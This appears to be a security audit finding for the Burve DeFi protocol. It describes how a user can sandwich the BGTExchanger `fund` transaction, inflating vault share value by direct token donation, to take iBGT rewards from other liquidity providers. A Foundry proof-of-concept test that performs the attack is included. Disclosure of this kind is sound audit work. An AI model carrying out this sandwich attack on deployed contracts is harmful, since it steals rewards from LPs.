Sweet Slate Dove

Medium

# User is able to steal ibgt rewards by sandwiching `fund` transaction

### Summary

As the title suggests, the User is able to steal ibgt rewards by sandwiching `fund` transaction.

### Root Cause

Explained in the attack path. There is basically no enforcement of the time that an LP has to stake/provide liquidity to earn ibgt rewards. This allows an attacker to steal the ibgt rewards from other LPs by essentially contributing nothing to the protocol.

### Internal Pre-conditions

None

### External Pre-conditions

The value that the user donates to the underlying vault must be less than the ibgt earned by him for this attack to be profitable.

### Attack Path

When a user calls `addValue` to deposit tokens/value into the protocol, their tokens are internally deposited to an underlying vault of another protocol which helps the protocol earn additional yield on tokens apart from the fees collected internally within the protocol. This updates the [`totalVaultShares`](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/vertex/E4626.sol#L87). It is used to keep track of the tokens that are deposited in the underlying vault.

```solidity
        if (assetsToDeposit > 0) {
            // Temporary approve the deposit.
            SafeERC20.forceApprove(
                self.token,
                address(self.vault),
                assetsToDeposit
            );
            self.totalVaultShares += self.vault.deposit(
                assetsToDeposit,
                address(this)
            );

```

The protocol can choose any underlying vault of another protocol as long as it is compatible with ERC4626. For example, it may use ATokenVault by Aave (the protocol intends to do so) - https://github.com/aave/Aave-Vault/blob/main/src/ATokenVault.sol

Look at the [`totalAssets`](https://github.com/aave/Aave-Vault/blob/c5bdb40b3c84f9a45c4937d072553c69bb13d695/src/ATokenVault.sol#L460-L462) function:

```solidity
    function totalAssets() public view override(ERC4626Upgradeable, IATokenVault) returns (uint256) {
        // Report only the total assets net of fees, for vault share logic
        return ATOKEN.balanceOf(address(this)) - getClaimableFees();
    }
```

If the `totalAssets` were to go up in value, then the value of the existing shares would go up as well. So, a user could increase the totalAssets by simply transferring the tokens directly to the `ATokenVault` using the ERC20 transfer. This might seem like a loss to the user, but this would increase the share value. Note this point, that the share value can be increased in this manner.

To carry out this attack:

1. The user observes that the `fund` function of  [`BGTExchanger`](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/integrations/BGTExchange/BGTExchanger.sol#L116 )has been called in the memepool. 
2. The user sees this and front-runs the fund tx.
3. Before the fund tx is executed, he will call the addValue function and deposit his initial liquidity. In the same call, he would likely inflate the share price by directly transferring ERC20 to the underlying vault. He would batch these 2 steps together, likely using a smart contract.
4. The fund tx would get executed.
5. He would immediately back-run this tx and again call `addValue`. This is to update the values of `earningsPerValueX128`, `bgtPerBgtValueX128` and `unexchangedPerBgtValueX128` in the closure contract. This would also update the `collectedBalances` and `bgtBalance` of the user in the Asset contract.
6. The user then withdraws his deposited liquidity.

This is also shown in the POC.

### Impact

The user is able to earn iBGT tokens while not really having contributed to the protocol. The other LPS who have deposited for long will lose their ibgt awards due to this. The user is able to basically steal the ibgt awards while having contributed nothing to the protocol. The user is immediately depositing and withdrawing his liquidity and at the same time eating into the rewards of other LPs. This can also delay the other LPs from withdrawing their ibgt rewards.

### PoC

```solidity
    function testAttack() public {
        vm.startPrank(owner);
        ibgt = new MockERC20("ibgt", "ibgt", 18);
        BGTExchanger bgtExchanger = new BGTExchanger(address(ibgt));

        simplexFacet.setBGTExchanger(address(bgtExchanger));
        bgtExchanger.addExchanger(address(valueFacet));
        bgtExchanger.setRate(address(tokens[3]), (2 << 128));
        vm.stopPrank();

        vm.prank(alice);
        valueFacet.addValue(alice, 0x9, 1e24, 5e23);

        //increase time by 1 day
        vm.warp(block.timestamp + 1 days);

        uint256 bgtBalanceBob;
        uint256 bgtValueBob;
        uint256 valueBob;

        // front-run the fund tx by executing addValue
        vm.prank(bob);
        valueFacet.addValue(bob, 0x9, 1e28, 5e27);
        (valueBob, bgtValueBob, , bgtBalanceBob) = valueFacet.queryValue(
            bob,
            0x9
        );
        console.log("value bob", valueBob);
        console.log("bgtValue bob", bgtValueBob);
        console.log("bgtBalanceBob", bgtBalanceBob);
       
        // donate to the underlying vault using ERC20 transfer - to inflate share value
        MockERC20(tokens[3]).transfer(address(vaults[3]), 1000e18); 

        // fund gets executed
        deal(address(ibgt), owner, 10000e18);
        vm.startPrank(owner);
        ibgt.approve(address(bgtExchanger), 10000e18);
        bgtExchanger.fund(10000e18);
        vm.stopPrank();

        // back-run the fund tx to update collected fees and bgt balances
        vm.prank(bob);
        valueFacet.addValue(bob, 0x9, 1e21, 5e20);
        (valueBob, bgtValueBob, , bgtBalanceBob) = valueFacet.queryValue(
            bob,
            0x9
        );
        console.log("value bob", valueBob);
        console.log("bgtValue bob", bgtValueBob);
        console.log("bgtBalanceBob", bgtBalanceBob);

        // remove the deposited liquidity
        vm.prank(bob);
        valueFacet.removeValue(bob, 0x9, 1e21 + 1e28, 5e20 + 5e27);
        (valueBob, bgtValueBob, , bgtBalanceBob) = valueFacet.queryValue(
            bob,
            0x9
        );
        console.log("value bob", valueBob);
        console.log("bgtValue bob", bgtValueBob);
        console.log("bgtBalanceBob", bgtBalanceBob);

        assert(bgtBalanceBob > 0);
    }
```

Paste the above snippet in ValueFacet.t.sol and run it.

### Mitigation

_No response_